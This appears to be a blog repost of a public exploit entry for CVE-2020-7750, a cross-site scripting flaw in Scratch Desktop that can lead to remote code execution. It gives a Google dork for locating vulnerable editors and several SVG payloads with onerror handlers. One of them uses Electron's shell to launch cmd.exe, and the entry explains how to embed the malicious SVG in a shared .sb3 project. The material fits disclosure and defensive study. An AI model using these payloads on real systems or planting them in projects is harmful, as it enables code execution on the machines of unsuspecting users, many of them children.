Monday, July 26, 2021

Scratch Desktop 3.17 - Cross-Site Scripting/Remote Code Execution (XSS/RCE)

# Exploit Title: Scratch Desktop 3.17 - Cross-Site Scripting/Remote Code Execution (XSS/RCE)
# Google Dork: 'inurl:"/projects/editor/?tutorial=getStarted" -mit.edu' (not foolproof on versioning)
# Date: 2021-06-18
# Exploit Author: Stig Magnus Baugstø
# Vendor Homepage: https://scratch.mit.edu/
# Software Link: https://web.archive.org/web/20210225011334/https://downloads.scratch.mit.edu/desktop/Scratch%20Desktop%20Setup%203.10.2.exe
# Version: 3.10.2
# Tested on: Windows 10 x64, but should be platform independent.
# CVE: CVE-2020-7750

Scratch cross-site scripting (XSS) & Scratch Desktop remote code execution (XSS/RCE) <3.17.1 / scratch-svg-renderer <0.2.0-prerelease.20201019174008

CVE-2020-7750 was disclosed on Scratch's official forums on 21th of October 2020 by the forum user apple502j. The forum thread describes a cross-site scripting (XSS) vulnerability in Scratch and Scratch Desktop prior to 3.17.1: https://scratch.mit.edu/discuss/topic/449794/

You can exploit the vulnerability by uploading a SVG (*.svg) file WITHOUT the viewBox attribute and embedding a malicious event handler. Example:

	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
		<image href="doesNotExist.png" onerror="<INSERT JS PAYLOAD>" />
	</svg>

The malicious SVG can be uploaded as a sprite or stored within a Scratch project file (*.sb3), which is a regular ZIP archive by the way.

Example of regular cross-site scripting (XSS):

	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
		<image href="doesNotExist.png" onerror="alert('Pwned!')" />
	</svg>

The Scratch Desktop versions runs on Electron where the exploit can be used for remote code execution (RCE):

	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
		<image href="doesNotExist.png" onerror="require('electron').shell.openExternal('cmd.exe')" />
	</svg>

The example above launches cmd.exe (Command Prompt) on Windows.

For a full walkthrough and explanation of the exploit, please see the following blog post by the exploit's author: https://www.mnemonic.no/blog/exploiting-scratch-with-a-malicious-image/

Note that the author of this exploit does not take credit for finding the vulnerability. The vulnerability was disclosed by user apple502j on Scratch's official forums.
            
 

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Thanks for everything Templateism - You should have written the code a little more complicated